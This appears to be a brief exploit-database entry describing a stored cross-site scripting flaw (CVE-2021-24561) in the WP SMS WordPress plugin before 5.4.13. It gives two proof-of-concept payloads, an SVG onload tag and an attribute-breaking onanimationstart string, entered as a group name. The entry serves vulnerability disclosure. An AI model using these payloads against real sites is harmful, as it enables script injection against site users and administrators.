Exploit for WP SMS < 5.4.13 - Authenticated Stored Cross-Site Scripting CVE-2021-24561

Name: Exploit for WP SMS < 5.4.13 - Authenticated Stored Cross-Site Scripting CVE-2021-24561
Rating: 5 (363 reviews)

2021-07-26 | CVSS 3.5

## https://sploitus.com/exploit?id=WPEX-ID:5433EF4C-4451-4B6E-992B-69C5ECCABF90
Add/edit a Group with the following name: <svg/onload=alert(/XSS/)>

(WPScanTeam): Another payload (noticed when working with the vendor on the fixes) 1')" style=animation-name:rotation onanimationstart=alert(/XSS/)//